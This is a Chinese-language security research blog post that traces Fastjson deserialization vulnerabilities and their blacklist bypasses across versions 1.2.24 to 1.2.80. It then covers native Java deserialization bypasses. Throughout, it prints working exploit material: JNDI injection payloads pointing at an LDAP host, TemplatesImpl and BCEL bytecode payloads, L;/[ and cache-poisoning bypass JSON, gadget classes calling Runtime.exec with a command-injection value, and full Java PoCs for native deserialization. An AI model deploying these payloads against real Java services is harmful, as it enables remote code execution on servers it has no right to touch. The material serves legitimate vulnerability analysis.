简介

​ Fastjson是一款由阿里巴巴开发的高性能、功能丰富的 JSON 处理库,用于实现Java 对象和 JSON 字符串的转换。而Fastjson组件提供的反序列化功能,允许用户通过”@type” 字段来指定任意反序列化类名,并自动调用该类的 setter 方法及部分 getter 方法,这就导致当反序列化不可信数据时便可触发远程代码执行。

漏洞分析

fastjson -1.2.24

影响版本:fastjson <= 1.2.24

主要利用方式为:

  • JdbcRowSetImpl 结合JNDI注入
1
2
3
4
5
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:9999/Exec",
"autoCommit":true
}
  • TemplatesImpl 动态加载字节码
1
2
3
4
5
6
7
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["yv66vgAAADQA...CJAAk="],
"_name": "S1nJa",
"_tfactory": {},
"_outputProperties": {},
}
  • BasicDataSource 不出网利用
1
2
3
4
5
6
7
8
9
10
11
{
{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$..."
}
}: "x"
}

具体利用过程就不在赘述了,主要看下其他版本的绕过方式和利用思路。

fastjson -1.2.25

在1.2.25版本中,官方引入了一个安全机制checkAutoType,主要进行了黑白名单检测,上述利用方式都被加入到了黑名单中

  • 影响版本:1.2.25 <= fastjson <= 1.2.41
  • autotype:开启

checkAutoType

其中有这三个属性,分别代表是否开启checkAutoType和黑白名单,autoTypeSupport默认为false

image-20231023144815106

接着就看下checkAutoType具体做了什么,之前的版本中是通过TypeUtils.loadClass直接加载我们传入的类,并通过deserialze进行反序列化

image-20231023140209718

1.2.25开始加入了checkAutoType进行安全检测

image-20231023140809796

开启AutoType

开启autoType的模式下先进行白名单检测如果有就直接加载,没有在进行黑名单检测,不在黑名单的话会从mapping缓存中查找

image-20231023145135164

最后如果还没有则会直接加载

1
2
3
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

关闭AutoType

关闭的逻辑是先黑再白,如果还是找不到就抛出异常

image-20231023145554242

利用链

JdbcRowSetImpl、TemplatesImpl、BCEL(sun包下的所有内容)都被加入了黑名单,看似无法再使用,但在loadClass的逻辑中发现这么一段代码:

1
2
3
4
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}

如果类名以L 开头; 结尾,则会递归的去除该符号,而这就出现了一个逻辑漏洞,com.sun.*被加入了黑名单,但是Lcom.sun.*;并没有,利用这个机制就可以绕过黑名单检测

而这需要开启autotype,在上边的逻辑中有提到,如果黑白名单和mapping缓存中都没有该类则会调用如下代码直接加载

1
2
3
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}

若没有开启autotype黑白名单中没有则会直接抛出异常

最终的 payload 在类名前后加上L;即可:

1
2
3
4
5
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://127.0.0.1:9999/Exec",
"autoCommit":true
}

fastjson -1.2.42

  • 影响版本:1.2.25 <= fastjson <= 1.2.42
  • autotype:开启

自1.2.42开始,checkAutoType做了两个变化:

1、黑名单采用hash形式,防止安全人员对其研究。不过很多都已经被师傅们撞出来了:LeadroyaL/fastjson-blacklist (github.com)

image-20231023151856492

2、在开头部分加了L和;判断

image-20231023152207413

这种方式只是表面上防止了L开头;结尾的情况,但loadClass中的逻辑是递归解析,所以这里双写绕过即可:

1
2
3
4
5
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://127.0.0.1:9999/Exec",
"autoCommit":true
}

fastjson -1.2.43

  • 影响版本:1.2.25 <= fastjson <= 1.2.43
  • autotype:开启

自1.2.43开始,又对之前的漏洞进行了修复,这次修复的方式为:如果出现LL则直接抛出异常

image-20231023153431821

但loadClass中还有另一段逻辑:

1
2
3
4
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}

如果以[开头,也会进行截断解析,所以便可构造Payload:

1
2
3
4
5
{
"@type":"[com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:9999/Exec",
"autoCommit":true
}

但遇到报错:

image-20231023160059692

畸形payload

上边报错希望42行的位置是[,但却是逗号,所以加上[

1
2
3
4
5
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
"dataSourceName":"ldap://127.0.0.1:9999/Exec",
"autoCommit":true
}

运行后报错希望43行为{

image-20231023161826856

1
2
3
4
5
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
"dataSourceName":"ldap://127.0.0.1:9999/Exec",
"autoCommit":true
}

现在成功运行了

分析下原因,先看下逗号前添加 “[“ 的逻辑

在deserialze中先获取ComponentType型的数据,这个数据就是截取”[“后的实体类,接着调用parseArray进行解析

image-20231023163713012

先获取token,如果值不是14就会抛出刚才的异常

image-20231023164100641

所以问题在于前边解析lexer中token的时候发生的,逻辑就在DefaultJSONParser中,lexer是fastjson中的一个词法解析器,它希望下一次解析内容为JSONToken.COMMA也就是逗号前的内容

image-20231023164600475

之后如果逗号前的内容是[,就会返回token值14,便不再会抛出异常

image-20231023165046308

逗号前是”{“同理,逻辑在JavaBeanDeserializer#deserialze,可以自行分析下

所以最终的payload为:

1
2
3
4
5
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
"dataSourceName":"ldap://127.0.0.1:9999/Exec",
"autoCommit":true
}

但该漏洞在1.2.44修复了,修复方式仍然是黑名单抛异常

fastjson -1.2.47

在 fastjson 不断迭代到 1.2.47 时,爆出了最为严重的漏洞—Cache通杀,可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。

影响版本:1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport

影响版本:1.2.33 <= fastjson <= 1.2.47

autotype:1.2.32前关闭,1.2.33—1.2.47均可

到此黑名单已经设置的比较严格了,在 autoTypeSupport 为默认的 false 时,程序直接检查黑名单并抛出异常,没有其它的绕过方式,于是思路就转变到了在判断autoTypeSupport 前找调用链

1.2.47

autoTypeSupport 前有两个可以加载类的部分,分别是从mappings缓存和deserializers中获取

image-20231023180320857

先看下deserializers是否可控,它是一个IdentityHashMap对象,对其进行赋值的函数有

  • getDeserializer():这个类用来加载一些特定类,以及有 JSONType 注解的类,在 put 之前都有类名及相关信息的判断,无法为我们所用。
  • initDeserializers():无入参,在构造方法中调用,写死一些认为没有危害的固定常用类,无法为我们所用。
  • putDeserializer():被前两个函数调用,我们无法控制入参。

因此就无法通过修改deserializers的方式获取类了,接着看哪里能赋值mappings,于是找到了TypeUtils的loadClass,当cache为true时就会将传入的className存储到mappings中

image-20231023181153428

而在MiscCodec的deserialze有对应的调用,会把strVal存入mappings中

image-20231023181457849

所以接下来的任务就是:

  1. 找到某个类调用MiscCodec#deserialze
  2. 判断strVal是否可控

MiscCodec#deserialze

在fastjson执行反序列化前,会调用getDeserializer()寻找适合的反序列化器

image-20231023182235940

而反序列化器是从deserializers获取的,deserializers又在初始化中添加了MiscCodec这个类,所以只需要我们传入的类为Class.class即可,即:{"@type":"java.lang.Class","a":"aaa"}

image-20231023182407922

strVal

strVal的值是objVal赋过去的,而objVal的值则是解析json中的val属性的值

image-20231023183156083

现在这样就能将JdbcRowSetImpl类存到mappings中

1
2
3
4
{
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
}

由于fastjson是循环解析json数据,所以只需要在构造一段触发恶意类的json数据即可,payload:

1
2
3
4
5
6
7
8
9
10
11
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:9999/Exec",
"autoCommit": true
}
}

1.2.32

1.2.32前需要关闭autotype才能执行,原因在于自1.2.33开始,当开启autotype之后,进行黑名单检测时如果检测到黑名单类并不会直接抛出异常,而是还会从mappings缓存中查找,如果都没有才会抛出异常

image-20231023185727882

而在1.2.32中没有该逻辑,如果匹配到黑名单则直接抛出异常

image-20231023190033359

fastjson -1.2.68

影响版本:fastjson <= 1.2.68

autotype:均可

在1.2.47之后,官方把MiscCodec中调用loadClass的地方cache默认设为了false,并且TypeUtils的loadClass也默认设为了false,cache加载恶意类的方式便不再适用

image-20231024135921385

在1.2.68中又提出了一个新的 autoType 绕过思路:利用 expectClass 绕过 checkAutoType()

checkAutoType() 函数中有这样的逻辑:如果函数有 expectClass 入参,且我们传入的类名是 expectClass 的子类或实现,并且不在黑名单中,就可以通过 checkAutoType() 的安全检测。

1
2
3
4
5
6
7
8
9
10
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}

所以接下来就需要寻找哪里调用checkAutoType(),并且调用时有expectClass作为入参,最终找到了这两个类

  • ThrowableDeserializer#deserialze()

  • JavaBeanDeserializer#deserialze()

ThrowableDeserializer

expectClass入参为Throwable

image-20231025151432003

如果传入的类是Throwable的子类或者实现类,就可以绕过checkAutoType检测,获取class

image-20231025152333512

并且由于是Throwable的子类,在getDeserializer()获取反序列化器时,也能拿到ThrowableDeserialize反序列化器,最终出发对应的ThrowableDeserializer#deserialze()

image-20231025152611523

gadget

Exception是Throwable的子类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import java.io.IOException;

public class ExecException extends Exception {

private String domain;

public ExecException() {
super();
}

public String getDomain() {
return domain;
}

public void setDomain(String domain) {
this.domain = domain;
}

@Override
public String getMessage() {
try {
Runtime.getRuntime().exec(new String[]{"cmd", "/c", "ping " + domain});
} catch (IOException e) {
return e.getMessage();
}

return super.getMessage();
}
}

poc

1
2
3
4
5
{
"@type":"java.lang.Exception",
"@type": "payloads.fastjson.ExecException",
"domain": "S1nJa.com | calc"
}

JavaBeanDeserializer

getDeserializer()获取反序列化器时,如果找不到合适的反序列化器,会调用最后的createJavaBeanDeserializer(),创建JavaBeanDeserializer进行反序列化

image-20231025153147913

在TypeUtils#addBaseClassMappings(),发现白名单中有个AutoCloseable,经调试他会获取JavaBeanDeserializer反序列化器

image-20231025153311274

而他的expectClass是可控的,就是在经过的ParserConfig#checkAutoType后得到的clazz值,而如果我们传入

1
2
3
4
5
{
"@type":"java.lang.AutoCloseable",
"@type": "payloads.fastjson.ExecCloseable",
"domain": "S1nJa.com | calc"
}

得到的expectClass就是java.lang.AutoCloseable

image-20231025153904376

所以就可以构造,实现java.lang.AutoCloseable接口的子类可以绕过autotype反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import java.io.Closeable;
import java.io.IOException;

public class ExecCloseable implements Closeable {
private String domain;

public ExecCloseable() {
}

public ExecCloseable(String domain) {
this.domain = domain;
}

public String getDomain() {
try {
Runtime.getRuntime().exec(new String[]{"cmd", "/c", "ping " + domain});
} catch (IOException e) {
e.printStackTrace();
}
return domain;
}

public void setDomain(String domain) {
this.domain = domain;
}

@Override
public void close() throws IOException {

}
}

poc

1
2
3
4
5
{
"@type":"java.lang.AutoCloseable",
"@type": "payloads.fastjson.ExecCloseable",
"domain": "S1nJa.com | calc"
}

fastjson在后续版本中将java.lang.Runnable、java.lang.Readable加入了黑名单,经测试这些类也是可以触发的,不过像这种把命令执行写到异常类的处理方式未免有些鸡肋,在实际开发场景中一般不会碰见,并且自1.2.68开始由于加了这段代码,jndi等利用方式也不再适用

1
2
3
4
5
6
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| javax.sql.DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
|| javax.sql.RowSet.class.isAssignableFrom(clazz) //
) {
throw new JSONException("autoType is not support. " + typeName);
}

于是浅蓝师傅提出了写文件拿shell方式,具体可参考

Fastjson 68 commons-io AutoCloseable

fastjson -1.2.80

影响版本:fastjson <= 1.2.80

autotype:均可

1.2.69开始,将AutoCloseable以hash的形式又又又又加入了黑名单,如果使用AutoCloseable,expectClassFlag的值会变为false,若此时默认关闭autotype功能则无法加载继承AutoCloseable的恶意类,这条路便无法走通了

image-20231025164310188

但这次黑名单中并没有将Throwable加入黑名单,所以expectClass入参为Throwable的方式仍然可用,除此外更具突破性的应该是师傅们挖掘的对于特殊依赖的利用链

gadget:

https://github.com/su18/hack-fastjson-1.2.80

https://github.com/knownsec/KCon/blob/master/2022/Hacking%20JSON%E3%80%90KCon2022%E3%80%91.pdf

1.2.83版本彻底将期望类ban掉了,并且在添加mapping缓存时也加了一层autotype判断

image-20231025182245454

image-20231025182400394

  1. https://github.com/alibaba/fastjson/commit/35db4adad70c32089542f23c272def1ad920a60d
  2. https://github.com/alibaba/fastjson/commit/8f3410f81cbd437f7c459f8868445d50ad301f15

通过parseObject()触发利用的方式得到了暂时的修复,但通过fastjson 原生反序列化仍存在相应的利用绕过方式

原生反序列化

fastjson < 1.2.49

fastjson中有两个类实现了Serializable接口,分别是JSONArrayJSONObject,并且他们都继承于JSON类

image-20231026114131702

而在JSON类中,有一个toString方法,会调用toJSONString(),toJSONString()又会调用指定类的getter方法

image-20231026114410826

但fastjson组件中没有重写readObject(),所以就要借助其它类的readObject类进行拼接,调用toString直接可以想到现有的链BadAttributeValueExpException,整条调用链也就出来了

1
2
3
BadAttributeValueExpException.readObject() —> 
JSON.toString() —>
TemplatesImpl.getOutputProperties() —>

POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public class NativeDeser {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
byte[] bytes = getBytes();
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name","S1nJa");
setValue(templates,"_tfactory",new TransformerFactoryImpl());
setValue(templates,"_bytecodes",new byte[][]{bytes});

JSONArray jsonArray= new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
setValue(badAttributeValueExpException,"val",jsonArray);

byte[] serilize = serilize(badAttributeValueExpException);
unserilize(serilize);
}
public static byte[] serilize(Object o) throws IOException {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(o);
return bos.toByteArray();
}

public static void unserilize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}
public static void setValue(Object o, String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = o.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(o,value);
}
public static byte[] getBytes() throws IOException {
byte[] bytes = Files.readAllBytes(Paths.get("Exec.class"));
return bytes;
}
}

fastjson ≥ 1.2.49

修复

自1.2.49开始,fastjson实现了自己的readObject()类,它定义了SecureObjectInputStream()方法

image-20231027110540708

封装完secIn对象后,会调用到secIn.defaultReadObject();,会走到JSON类重写的resolveClass()方法,调用checkAutoType()方法进行黑名单检测,所以Templates加载字节码的方式就会被check掉

image-20231027111426348

绕过

但这种方式并不是安全的,因为这里的反序列化过程是:

1
ObjectInputStream -> readObject -> SecureObjectInputStream -> readObject -> resolveClass

相当于在ObjectInputStream套了个SecureObjectInputStream进行检测

而正常流程应该是生成一个继承ObjectInputStream的类并重写resolveClass,由它来做反序列化的入口,这样才是安全的

1
继承类 -> readObject -> resolveClass

既然这样,就需要考虑如何绕过resolveClass()解析,了解反序列化流程的话应该知道

readObject0()的switch语句中,会走到TC_OBJECT处理对象,调用readOrdinaryObject(),其中会调用readClassDesc()读取类描述符,最后调用readNonProxyDesc(),调用到resolveClass(),具体流程可以参考之前文章defaultReadObject分析 | S1nJa’s Blog

image-20231027114826853

所以想要不执行resolveClass就要考虑如何才能不执行readClassDesc(),而switch语句中有这么几个分支不会走到该方法TC_NULLTC_REFERENCETC_STRINGTC_LONGSTRINGTC_EXCEPTION

其中TC_REFERENCE是引用类型,如果一个对象被多次引用,那么只会在第一次出现时进行完整地反序列化,而后面的引用将使用 TC_REFERENCE 进行标记

因此在调用时,往List、set、map类型中添加同样对象即可成功利用,即:

1
2
3
4
5
6
7
8
9
10
11
//List
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(badAttributeValueExpException);
//set
Set<Object> set = new HashSet<>();
set.add(templates);
set.add(badAttributeValueExpException);
//map
HashMap hashMap = new HashMap();
hashMap.put(templates,badAttributeValueExpException);

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
public class NativeDeser {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
byte[] bytes = getBytes();
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name","S1nJa");
setValue(templates,"_tfactory",new TransformerFactoryImpl());
setValue(templates,"_bytecodes",new byte[][]{bytes});

Set<Object> set = new HashSet<>();
set.add(templates);

JSONArray jsonArray= new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1);
setValue(badAttributeValueExpException,"val",jsonArray);

set.add(badAttributeValueExpException);
byte[] serilize = serilize(set);
unserilize(serilize);
}
public static byte[] serilize(Object o) throws IOException {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(o);
return bos.toByteArray();
}

public static void unserilize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}
public static void setValue(Object o, String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
Field field = o.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(o,value);
}
public static byte[] getBytes() throws IOException {
byte[] bytes = Files.readAllBytes(Paths.get("Exec.class"));
return bytes;
}
}